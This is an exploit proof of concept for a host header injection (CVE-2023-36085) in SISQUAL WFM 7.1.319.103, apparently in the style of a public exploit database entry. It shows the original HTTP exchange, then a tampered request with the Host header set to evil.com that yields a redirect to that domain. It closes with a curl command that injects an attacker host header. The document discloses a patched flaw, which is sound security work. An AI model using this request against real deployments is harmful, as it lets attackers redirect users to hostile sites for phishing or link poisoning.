# Exploit Title: SISQUAL WFM 7.1.319.103 Host Header Injection
# Discovered Date: 17/03/2023
# Reported Date: 17/03/2023
# Exploit Author: Omer Shaik (unknown_exploit)
# Vendor Homepage: https://www.sisqualwfm.com
# Version: 7.1.319.103
# Tested on: SISQUAL WFM 7.1.319.103
# Affected Version: sisqualWFM - 7.1.319.103
# Fixed Version: sisqualWFM - 7.1.319.111
# CVE : CVE-2023-36085
# CVSS: 3.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
# Category: Web Apps
# Reference: https://github.com/omershaik0/Handmade_Exploits/tree/main/SISQUALWFM-Host-Header-Injection-CVE-2023-36085
A proof-of-concept(POC) scenario that demonstrates a potential host header injection vulnerability in sisqualWFM version 7.1.319.103, specifically targeting the /sisqualIdentityServer/core endpoint. This vulnerability could be exploited by an attacker to manipulate webpage links or redirect users to another site with ease, simply by tampering with the host header.
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Orignal Request
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GET /sisqualIdentityServer/core/login HTTP/2
Host: sisqualwfm.cloud
Cookie:<cookie>
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
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Orignal Response
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HTTP/2 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Location: https://sisqualwfm.cloud/sisqualIdentityServer/core/
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Date: Wed, 22 Mar 2023 13:22:10 GMT
Content-Length: 0
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██████╗  ██████╗  ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║   ██║██║     
██╔═══╝ ██║   ██║██║     
██║     ╚██████╔╝╚██████╗
╚═╝      ╚═════╝  ╚═════╝
                ****************************************************************************************************
Request has been modified to redirect user to evil.com (Intercepted request using Burp proxy)
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GET /sisqualIdentityServer/core/login HTTP/2
Host: evil.com
Cookie:<cookie>
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
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Response
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HTTP/2 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Location: https://evil.com/sisqualIdentityServer/core/
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 0
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Method of Attack
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curl -k --header "Host: attack.host.com" "Domain Name + /sisqualIdentityServer/core" -vvv
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